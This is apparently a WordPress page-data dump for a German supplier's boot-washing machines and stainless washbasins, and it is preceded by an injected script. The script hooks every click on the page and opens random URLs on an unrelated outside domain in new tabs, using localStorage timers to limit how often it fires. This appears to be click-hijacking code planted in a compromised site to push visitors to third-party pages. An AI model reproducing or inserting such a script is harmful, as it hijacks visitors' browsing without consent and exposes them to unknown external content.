<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":354,"date":"2017-08-01T17:47:44","date_gmt":"2017-08-01T13:17:44","guid":{"rendered":"http:\/\/saeed-moshaver.com\/en\/?page_id=354"},"modified":"2017-08-01T17:53:07","modified_gmt":"2017-08-01T13:23:07","slug":"kohlhoff","status":"publish","type":"page","link":"http:\/\/saeed-moshaver.com\/en\/kohlhoff\/","title":{"rendered":"KOHLHOFF"},"content":{"rendered":"<div class=\"wpb-content-wrapper\"><p>[vc_row][vc_column width=&#8221;1\/4&#8243;][\/vc_column][vc_column width=&#8221;1\/2&#8243;][vc_column_text]<span id=\"result_box\" class=\"\" lang=\"en\"><strong>KOHLHOFF:<\/strong> A variety of salty boot and disinfectant boots from KOHLHOFF Germany<br \/>\n<\/span><\/p>\n<ol>\n<li><span id=\"result_box\" class=\"\" lang=\"en\">Boots and shoes washing machine, made of stainless steel<\/span><\/li>\n<li><span id=\"result_box\" class=\"\" lang=\"en\">Conveyor belt with length of 700. 1100 1600 mm to customer selection<\/span><br \/>\n<span id=\"result_box\" class=\"\" lang=\"en\"><\/span><\/li>\n<li><span id=\"result_box\" class=\"\" lang=\"en\">Adjustable wash time<\/span><br \/>\n<span id=\"result_box\" class=\"\" lang=\"en\"><\/span><\/li>\n<li><span id=\"result_box\" class=\"\" lang=\"en\">Has a dryer for boots and hands.<\/span><br \/>\n<span id=\"result_box\" class=\"\" lang=\"en\"><\/span><br \/>\n<span id=\"result_box\" class=\"\" lang=\"en\"><\/span><\/li>\n<\/ol>\n<p><span id=\"result_box\" class=\"\" lang=\"en\"><strong>Washbasin KOHLHOFF Germany<\/strong><\/span><\/p>\n<ol>\n<li><span id=\"result_box\" class=\"\" lang=\"en\">Made of stainless steel<\/span><\/li>\n<li><span class=\"\" lang=\"en\"><span class=\"\">Sensor and automatic tank for drainage of liquid bath and shower mix.<\/span><\/span><\/li>\n<\/ol>\n<p>Click for <a href=\"http:\/\/www.kohlhoff-hygiene.de\/\">more info \u2026.<\/a><\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" class=\"aligncenter size-medium wp-image-243\" src=\"http:\/\/saeed-moshaver.com\/wp-content\/uploads\/2017\/07\/logo-kohlhoff-300x40.gif\" alt=\"\" width=\"300\" height=\"40\" \/>[\/vc_column_text][vc_row_inner][vc_column_inner width=&#8221;1\/2&#8243;][vc_single_image image=&#8221;245&#8243; img_size=&#8221;300*300&#8243; alignment=&#8221;center&#8221; style=&#8221;vc_box_border&#8221; border_color=&#8221;black&#8221; onclick=&#8221;link_image&#8221; css_animation=&#8221;top-to-bottom&#8221;][\/vc_column_inner][vc_column_inner width=&#8221;1\/2&#8243;][vc_single_image image=&#8221;244&#8243; img_size=&#8221;300*300&#8243; alignment=&#8221;center&#8221; style=&#8221;vc_box_border&#8221; border_color=&#8221;black&#8221; onclick=&#8221;link_image&#8221; css_animation=&#8221;top-to-bottom&#8221;][\/vc_column_inner][\/vc_row_inner][\/vc_column][vc_column width=&#8221;1\/4&#8243;][\/vc_column][\/vc_row]<\/p>\n<\/div>","protected":false},"excerpt":{"rendered":"<p>[vc_row][vc_column width=&#8221;1\/4&#8243;][\/vc_column][vc_column width=&#8221;1\/2&#8243;][vc_column_text]KOHLHOFF: A variety of salty boot and disinfectant boots from KOHLHOFF Germany Boots and shoes washing machine, made of stainless steel Conveyor belt with length of 700. 1100 1600 mm to customer selection Adjustable wash time Has a dryer for boots and hands. Washbasin KOHLHOFF Germany Made of stainless steel Sensor and automatic [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"_links":{"self":[{"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/pages\/354"}],"collection":[{"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/comments?post=354"}],"version-history":[{"count":3,"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/pages\/354\/revisions"}],"predecessor-version":[{"id":358,"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/pages\/354\/revisions\/358"}],"wp:attachment":[{"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/media?parent=354"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}